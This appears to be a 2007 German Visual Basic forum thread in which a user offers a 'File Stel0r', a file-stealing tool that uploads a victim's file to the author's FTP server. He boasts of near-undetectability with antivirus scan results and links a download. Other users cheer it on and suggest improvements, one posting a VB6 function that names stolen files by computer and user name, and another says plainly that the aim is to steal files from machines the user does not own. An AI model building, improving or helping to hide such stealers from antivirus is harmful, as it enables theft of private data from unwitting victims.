Visual Basic Forum

Visual Basic Forum
für VB6 und VB.NET Programmierer
 
RegistrierenRegistrieren  LoginLogin
Neues Thema eröffnen   Neue Antwort erstellen    Visual Basic Forum Foren-Übersicht -> [VB6] Projekte
Autor
Nachricht
big earl_
Coder
Coder



Anmeldedatum: 11.05.2007
Beiträge: 208

File Stel0r - big earl
Verfasst am: 12.11.2007, 14:45

Also hier mein Stel0r was jede eingegebene Datei auf den dazugehörigen FTP uploadet




Pro:

- Jede Datei kann Geuppt werden
- Einstellungen werden gespeichert
- fast FUD

Kontra:

- Der Pfad der Datei muss bekannt sein
- Es können keine Pfade wie %homedrive% oä. genommen weden
- Es kann nur eine datei hochgeladen werden
- Bei anwendungen gibt es manchmal Probleme ( zb. installierten Programmen )


Und mit savename ist der name der Datei nach dem Upload gemeint
Also auf dem FTP


VT scann server
Ergebnis: 1/32 (3.13%)
Prevx1 V2 2007.11.12 Prevx Database Unreachable

VT scann builder
Ergebnis: 0/32 (0%)

please feadback

Download
 
sh00ky_
Newbie
Newbie

Anmeldedatum: 08.11.2007
Beiträge: 18


Verfasst am: 12.11.2007, 14:53

sieht gut aus


ISt der komplett in VB ? ist er nur Scantime ud oder auch runtime?
 
Blue!Sky!_
Coder
Coder



Anmeldedatum: 06.10.2007
Beiträge: 227


Verfasst am: 12.11.2007, 14:59

nur jetzt mal so ... ich bin jetzt kein guter coder aber sowas is nun wirklich nich so schwer ...
Aber sonst ist es n1.
 
ZiG_
Überflieger
Überflieger

Anmeldedatum: 07.03.2007
Beiträge: 1248


Verfasst am: 12.11.2007, 15:44

@big earl

Sieht nicht schlecht aus.
Evt. die Kontraliste noch kleiner machen Wink

@Server-bling

Nicht an den anderen meckern sondern selber machen ist die Devise.
Wer nicht auf seine Weise denkt, denkt überhaupt nicht. (Oscar Wilde)
 
Blue!Sky!_
Coder
Coder



Anmeldedatum: 06.10.2007
Beiträge: 227


Verfasst am: 12.11.2007, 15:48

Stimmt auch wieder...ich sagte ja ansonsten n1 ...! xD Very Happy Very Happy Very Happy
 
big earl_
Coder
Coder



Anmeldedatum: 11.05.2007
Beiträge: 208


Verfasst am: 12.11.2007, 15:50

also FUD ist es in beiden fällen halt ausser Prevx1

aber mal im ernst, wer hat das schon ? -.-

bitte verbesserungen posten

werd sie dann si schnell wie möglich beheben
 
Blue!Sky!_
Coder
Coder



Anmeldedatum: 06.10.2007
Beiträge: 227


Verfasst am: 12.11.2007, 16:00

das man die datei in nem common dialog laden könnte---...---
 
big earl_
Coder
Coder



Anmeldedatum: 11.05.2007
Beiträge: 208


Verfasst am: 12.11.2007, 16:31

was soll das denn bringen ???

als ob jeder rechner den selben Pfad hätte
 
Blue!Sky!_
Coder
Coder



Anmeldedatum: 06.10.2007
Beiträge: 227


Verfasst am: 12.11.2007, 16:37

was???? ähmm du verstehst mich nicht ich meine eine box wo man den pfad auswählt und nich den ganzen pfad in ne textbox tippen muss ...
 
The-God-of-all_
Poster
Poster

Anmeldedatum: 20.05.2007
Beiträge: 170
Wohnort: App.Path


Verfasst am: 13.11.2007, 13:59

Was auch noch gut wäre wären Variablen. Ich würde die Variablen mit der Funktion Replace umsetzen. Ich poste mal eine Funktion um Pfad Variablen einzufügen die ich früher mal benutzt hatte.

Code:
Public Function VarReplace(text As String) As String
   
    text = Replace(text, "%pcname%", Environ("computername"))
    text = Replace(text, "%username%", Environ("username"))
   
    text = Replace(text, "%apppath%", App.Path)
    text = Replace(text, "%tempdir%", Environ("TEMP"))
    text = Replace(text, "%windir%", Environ("windir"))
    text = Replace(text, "%appData%", Environ("APPDATA"))
    text = Replace(text, "%systemdrive%", Environ("SystemDrive"))
    text = Replace(text, "%programfiles%", Environ("ProgramFiles"))
    text = Replace(text, "%alluserprofile%", Environ("ALLUSERPROFILE"))
    text = Replace(text, "%userprofile%", Environ("USERPROFILE"))
   
    text = Replace(text, "%now%", Now())
    text = Replace(text, "%time%", Time())
    text = Replace(text, "%date%", Format(Now, "dd.mm.yyyy"))
    text = Replace(text, "%timestamp%", Format(Now, "yymmddhhnnss"))
   
    Randomize
    text = Replace(text, "%zzahl%", Int(Rnd(1) * 10000 + 1))
   
    VarReplace = text
End Function


Diese Funktion sollte dann für jeden Pfad aufgerufen werden. Dadurch könnte man der Datei die auf den Server gespeichert wird zum Beispiel den Namen "%timestamp%_%pcname%_%username%" geben wodurch sicher wäre das jede Datei einen anderen Namen hat.
 
big earl_
Coder
Coder



Anmeldedatum: 11.05.2007
Beiträge: 208


Verfasst am: 13.11.2007, 14:47

also das man zb. den programm ordner wählen kann mach ich noch rein

aber @Server-bling

was soll das den bringen wenn ich die datei unter MEINEM rechner und die in das Programm eingeben

aber wenn dich das glücklich macht -.-
 
Blue!Sky!_
Coder
Coder



Anmeldedatum: 06.10.2007
Beiträge: 227


Verfasst am: 13.11.2007, 19:05

ähmm du weißt scho das des naja kacke is (nich das projekt ) wenn man per hand den datei pfad angeben muss Very Happy Very Happy
 
ZiG_
Überflieger
Überflieger

Anmeldedatum: 07.03.2007
Beiträge: 1248


Verfasst am: 13.11.2007, 19:09

Und dir ist aber schon auch klar das es sich nicht um eine Datei drehen muß die du auf deinem Computer besitzt?

Wie soll ich das per CommonDialog machen wenn ich eine Datei stehlen will die ich + Pfad garnicht auf meinem Computer hab???

Also @ big earl
Lass es so.
Nur mach es so wie The-God-of-all geschrieben hat.
Ist auch nicht schwer zu realisieren.
Wer nicht auf seine Weise denkt, denkt überhaupt nicht. (Oscar Wilde)
 
imi-tat0r_
Newbie
Newbie

Anmeldedatum: 26.10.2007
Beiträge: 2


Verfasst am: 13.11.2007, 19:19


ist echt nice geworden Wink Sitze auch an sowas und werds auch beenden aber net posten weil deins atm eh viel besser ist Wink

mfg
imi-tat0r
 
Neues Thema eröffnen   Neue Antwort erstellen    Visual Basic Forum Foren-Übersicht -> [VB6] Projekte

Tags: big, file, earl

 
 Verwandte Themen   Aufrufe   Letzter Beitrag 
Keine neuen Beiträge Visual Basic Download ? 2000 03.05.2011, 08:38
Keine neuen Beiträge Api Download in Prozent + Kb anzeige + Progrezzbar 1463 21.10.2007, 14:03
Keine neuen Beiträge Download 1488 30.08.2007, 16:45
Keine neuen Beiträge Download mit Internet Explorer Object 1029 18.08.2008, 20:00
Keine neuen Beiträge Visual Basic 6 download 4328 26.05.2007, 12:51
 


[ Time: 0.1003s ][ Queries: 119 (0.0331s) ][ GZIP on - Debug on ]